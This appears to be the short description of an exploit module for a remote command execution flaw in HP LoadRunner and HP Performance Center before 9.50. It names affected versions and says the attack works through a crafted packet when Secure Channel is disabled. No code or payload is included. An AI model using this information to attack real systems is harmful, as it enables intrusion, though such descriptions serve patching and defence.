        This module exploits a remote command execution vulnerablity in HP LoadRunner before 9.50
        and also HP Performance Center before 9.50. HP LoadRunner 12.53 and other versions are
        also most likely vulneable if the (non-default) SSL option is turned off.
        By sending a specially crafted packet, an attacker can execute commands remotely.
        The service is vulnerable provided the Secure Channel feature is disabled (default).
